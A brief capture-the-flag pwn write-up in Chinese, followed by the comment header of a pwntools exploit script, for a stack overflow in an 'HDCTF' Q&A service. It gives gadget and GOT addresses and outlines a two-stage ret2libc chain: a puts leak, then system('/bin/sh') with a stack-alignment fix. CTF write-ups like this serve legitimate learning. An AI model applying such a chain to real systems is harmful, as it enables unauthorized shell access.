第二段溢出:pop rdi; /bin/sh; ret; system。踩了个坑:system 内部有 movaps,栈没对齐直接崩,在 system 前补一个裸 ret(0x4011db,就是 pop rdi; ret 的 ret 字节)解决。
#!/usr/bin/env python3 # HDCTF pwn (no binary) - 异象管理局 Q&A service # Recon from NPC: main=0x40161a, pop rdi;ret=0x4011da, puts@plt=0x401090, # puts@got=0x404000, read@got=0x404018 # Vuln: question buffer read 0x80 bytes; when full, leftover is read into a # 24-byte stack buffer -> overflow. No canary, ret at offset 24. # Stage1: leak puts -> libc base (glibc 2.35-0ubuntu3.11/12 amd64) # Stage2: system("/bin/sh") with stack-alignment ret from pwn import *